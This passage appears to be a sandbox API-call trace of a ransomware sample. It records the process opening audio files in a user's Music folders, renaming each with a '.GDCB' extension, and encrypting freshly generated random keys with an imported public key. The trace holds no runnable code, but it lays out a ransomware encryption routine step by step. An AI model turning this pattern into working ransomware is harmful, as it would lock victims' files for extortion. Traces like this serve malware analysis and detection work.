dwFlags=0x0) returned 1 [0139.914] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\5NChLZgIqlXt\\oIfHXR2mpe7ee2Nsv 4.m4a" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\5nchlzgiqlxt\\oifhxr2mpe7ee2nsv 4.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ec [0139.914] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0139.914] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28b0000 [0139.914] ReadFile (in: hFile=0x4ec, lpBuffer=0x28b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f248, lpOverlapped=0x0 | out: lpBuffer=0x28b0000*, lpNumberOfBytesRead=0x285f248*=0x8e83, lpOverlapped=0x0) returned 1 [0139.926] VirtualAlloc (lpAddress=0x0, dwSize=0x8e90, flAllocationType=0x3000, flProtect=0x4) returned 0x29c0000 [0139.930] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\5NChLZgIqlXt\\oIfHXR2mpe7ee2Nsv 4.m4a" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\5nchlzgiqlxt\\oifhxr2mpe7ee2nsv 4.m4a"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\5NChLZgIqlXt\\oIfHXR2mpe7ee2Nsv 4.m4a.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\5nchlzgiqlxt\\oifhxr2mpe7ee2nsv 4.m4a.gdcb")) returned 1 [0139.931] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecc18) returned 1 [0139.954] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0139.954] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0139.954] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x10, pbBuffer=0x285f1ec | out: pbBuffer=0x285f1ec) returned 1 [0139.954] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0139.954] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ed0e0) returned 1 [0139.957] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0139.957] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0139.957] CryptGenRandom (in: hProv=0x2ed0e0, dwLen=0x20, pbBuffer=0x285f1b8 | out: pbBuffer=0x285f1b8) returned 1 [0139.957] CryptReleaseContext (hProv=0x2ed0e0, dwFlags=0x0) returned 1 [0139.957] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ecc18) returned 1 [0139.965] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x3595d8) returned 1 [0139.965] CryptGetKeyParam (in: hKey=0x3595d8, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0139.965] CryptEncrypt (in: hKey=0x3595d8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f204*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f204*=0x100) returned 1 [0139.966] GetLastError () returned 0x0 [0139.966] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0139.966] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ecc18) returned 1 [0139.974] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x359458) returned 1 [0139.974] CryptGetKeyParam (in: hKey=0x359458, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0139.974] CryptEncrypt (in: hKey=0x359458, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f208*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f208*=0x100) returned 1 [0139.974] GetLastError () returned 0x0 [0139.974] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0139.974] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\5NChLZgIqlXt\\rHf-1nu.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\5nchlzgiqlxt\\rhf-1nu.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ec [0139.975] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0139.976] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28b0000 [0139.976] ReadFile (in: hFile=0x4ec, lpBuffer=0x28b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f248, lpOverlapped=0x0 | out: lpBuffer=0x28b0000*, lpNumberOfBytesRead=0x285f248*=0x2782, lpOverlapped=0x0) returned 1 [0139.999] VirtualAlloc (lpAddress=0x0, dwSize=0x2790, flAllocationType=0x3000, flProtect=0x4) returned 0x29c0000 [0140.013] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\5NChLZgIqlXt\\rHf-1nu.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\5nchlzgiqlxt\\rhf-1nu.mp3"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\5NChLZgIqlXt\\rHf-1nu.mp3.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\5nchlzgiqlxt\\rhf-1nu.mp3.gdcb")) returned 1 [0140.014] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecc18) returned 1 [0140.016] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0140.016] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0140.016] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x10, pbBuffer=0x285f1ec | out: pbBuffer=0x285f1ec) returned 1 [0140.016] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0140.017] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecc18) returned 1 [0140.022] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0140.022] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0140.022] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x20, pbBuffer=0x285f1b8 | out: pbBuffer=0x285f1b8) returned 1 [0140.022] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0140.022] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ed0e0) returned 1 [0140.029] CryptImportKey (in: hProv=0x2ed0e0, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x359658) returned 1 [0140.029] CryptGetKeyParam (in: hKey=0x359658, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0140.029] CryptEncrypt (in: hKey=0x359658, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f204*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f204*=0x100) returned 1 [0140.029] GetLastError () returned 0x0 [0140.029] CryptReleaseContext (hProv=0x2ed0e0, dwFlags=0x0) returned 1 [0140.029] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ecc18) returned 1 [0140.037] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x359198) returned 1 [0140.037] CryptGetKeyParam (in: hKey=0x359198, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0140.037] CryptEncrypt (in: hKey=0x359198, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f208*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f208*=0x100) returned 1 [0140.037] GetLastError () returned 0x0 [0140.037] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0140.037] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\5NChLZgIqlXt\\T-7wzx6ySIXcZz.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\5nchlzgiqlxt\\t-7wzx6ysixczz.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ec [0140.037] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0140.038] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28b0000 [0140.038] ReadFile (in: hFile=0x4ec, lpBuffer=0x28b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f248, lpOverlapped=0x0 | out: lpBuffer=0x28b0000*, lpNumberOfBytesRead=0x285f248*=0xcae9, lpOverlapped=0x0) returned 1 [0140.047] VirtualAlloc (lpAddress=0x0, dwSize=0xcaf0, flAllocationType=0x3000, flProtect=0x4) returned 0x29c0000 [0140.055] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\5NChLZgIqlXt\\T-7wzx6ySIXcZz.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\5nchlzgiqlxt\\t-7wzx6ysixczz.mp3"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\5NChLZgIqlXt\\T-7wzx6ySIXcZz.mp3.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\5nchlzgiqlxt\\t-7wzx6ysixczz.mp3.gdcb")) returned 1 [0140.056] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecc18) returned 1 [0140.059] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0140.059] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0140.059] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x10, pbBuffer=0x285f1ec | out: pbBuffer=0x285f1ec) returned 1 [0140.059] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0140.059] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecc18) returned 1 [0140.061] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0140.061] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0140.061] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x20, pbBuffer=0x285f1b8 | out: pbBuffer=0x285f1b8) returned 1 [0140.061] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0140.061] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ecfd0) returned 1 [0140.069] CryptImportKey (in: hProv=0x2ecfd0, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x359498) returned 1 [0140.070] CryptGetKeyParam (in: hKey=0x359498, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0140.070] CryptEncrypt (in: hKey=0x359498, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f204*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f204*=0x100) returned 1 [0140.070] GetLastError () returned 0x0 [0140.070] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0140.070] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ed300) returned 1 [0140.077] CryptImportKey (in: hProv=0x2ed300, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x359118) returned 1 [0140.077] CryptGetKeyParam (in: hKey=0x359118, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0140.077] CryptEncrypt (in: hKey=0x359118, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f208*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f208*=0x100) returned 1 [0140.078] GetLastError () returned 0x0 [0140.078] CryptReleaseContext (hProv=0x2ed300, dwFlags=0x0) returned 1 [0140.078] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\5NChLZgIqlXt\\UafU.m4a" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\5nchlzgiqlxt\\uafu.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ec [0140.078] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x29a0000 [0140.078] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0140.078] ReadFile (in: hFile=0x4ec, lpBuffer=0x29b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f248, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesRead=0x285f248*=0xcd9b, lpOverlapped=0x0) returned 1 [0140.090] VirtualAlloc (lpAddress=0x0, dwSize=0xcda0, flAllocationType=0x3000, flProtect=0x4) returned 0x2ac0000 [0140.095] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\5NChLZgIqlXt\\UafU.m4a" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\5nchlzgiqlxt\\uafu.m4a"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\5NChLZgIqlXt\\UafU.m4a.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\5nchlzgiqlxt\\uafu.m4a.gdcb")) returned 1 [0140.097] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0140.097] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0140.097] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0140.097] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0140.112] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecc18) returned 1 [0140.114] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0140.114] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0140.114] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x10, pbBuffer=0x285f1ec | out: pbBuffer=0x285f1ec) returned 1 [0140.114] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0140.114] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecfd0) returned 1 [0140.117] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0140.117] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0140.117] CryptGenRandom (in: hProv=0x2ecfd0, dwLen=0x20, pbBuffer=0x285f1b8 | out: pbBuffer=0x285f1b8) returned 1 [0140.117] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0140.117] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ed300) returned 1 [0140.124] CryptImportKey (in: hProv=0x2ed300, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x359518) returned 1 [0140.124] CryptGetKeyParam (in: hKey=0x359518, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0140.124] CryptEncrypt (in: hKey=0x359518, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f204*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f204*=0x100) returned 1 [0140.125] GetLastError () returned 0x0 [0140.125] CryptReleaseContext (hProv=0x2ed300, dwFlags=0x0) returned 1 [0140.125] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ecc18) returned 1 [0140.136] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x359718) returned 1 [0140.136] CryptGetKeyParam (in: hKey=0x359718, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0140.136] CryptEncrypt (in: hKey=0x359718, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f208*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f208*=0x100) returned 1 [0140.136] GetLastError () returned 0x0 [0140.136] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0140.136] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\e8jkSa\\xghTLw90Cf1QZ5.m4a" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\e8jksa\\xghtlw90cf1qz5.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ec [0140.136] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x29a0000 [0140.136] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0140.137] ReadFile (in: hFile=0x4ec, lpBuffer=0x29b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f248, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesRead=0x285f248*=0xc576, lpOverlapped=0x0) returned 1 [0140.150] VirtualAlloc (lpAddress=0x0, dwSize=0xc580, flAllocationType=0x3000, flProtect=0x4) returned 0x2ac0000 [0140.154] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\e8jkSa\\xghTLw90Cf1QZ5.m4a" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\e8jksa\\xghtlw90cf1qz5.m4a"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\e8jkSa\\xghTLw90Cf1QZ5.m4a.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\e8jksa\\xghtlw90cf1qz5.m4a.gdcb")) returned 1 [0140.155] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecc18) returned 1 [0140.158] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0140.158] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0140.158] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x10, pbBuffer=0x285f1ec | out: pbBuffer=0x285f1ec) returned 1 [0140.158] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0140.158] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecc18) returned 1 [0140.160] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0140.160] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0140.160] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x20, pbBuffer=0x285f1b8 | out: pbBuffer=0x285f1b8) returned 1 [0140.160] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0140.160] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ecca0) returned 1 [0140.168] CryptImportKey (in: hProv=0x2ecca0, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x359618) returned 1 [0140.168] CryptGetKeyParam (in: hKey=0x359618, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0140.168] CryptEncrypt (in: hKey=0x359618, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f204*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f204*=0x100) returned 1 [0140.168] GetLastError () returned 0x0 [0140.168] CryptReleaseContext (hProv=0x2ecca0, dwFlags=0x0) returned 1 [0140.168] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ed0e0) returned 1 [0140.176] CryptImportKey (in: hProv=0x2ed0e0, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x3592d8) returned 1 [0140.176] CryptGetKeyParam (in: hKey=0x3592d8, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0140.176] CryptEncrypt (in: hKey=0x3592d8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f208*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f208*=0x100) returned 1 [0140.176] GetLastError () returned 0x0 [0140.176] CryptReleaseContext (hProv=0x2ed0e0, dwFlags=0x0) returned 1 [0140.176] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\e8jkSa\\Yao_HXWP.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\e8jksa\\yao_hxwp.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ec [0140.177] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x29a0000 [0140.177] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0140.177] ReadFile (in: hFile=0x4ec, lpBuffer=0x29b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f248, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesRead=0x285f248*=0x6808, lpOverlapped=0x0) returned 1 [0140.190] VirtualAlloc (lpAddress=0x0, dwSize=0x6810, flAllocationType=0x3000, flProtect=0x4) returned 0x2ac0000 [0140.194] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\e8jkSa\\Yao_HXWP.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\e8jksa\\yao_hxwp.mp3"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\e8jkSa\\Yao_HXWP.mp3.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\e8jksa\\yao_hxwp.mp3.gdcb")) returned 1 [0140.195] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecc18) returned 1 [0140.198] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0140.198] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0140.198] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x10, pbBuffer=0x285f1ec | out: pbBuffer=0x285f1ec) returned 1 [0140.198] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0140.198] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecc18) returned 1 [0140.200] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0140.200] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0140.200] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x20, pbBuffer=0x285f1b8 | out: pbBuffer=0x285f1b8) returned 1 [0140.200] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0140.200] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ecfd0) returned 1 [0140.209] CryptImportKey (in: hProv=0x2ecfd0, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x359698) returned 1 [0140.209] CryptGetKeyParam (in: hKey=0x359698, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0140.209] CryptEncrypt (in: hKey=0x359698, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f204*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f204*=0x100) returned 1 [0140.209] GetLastError () returned 0x0 [0140.209] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0140.209] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: 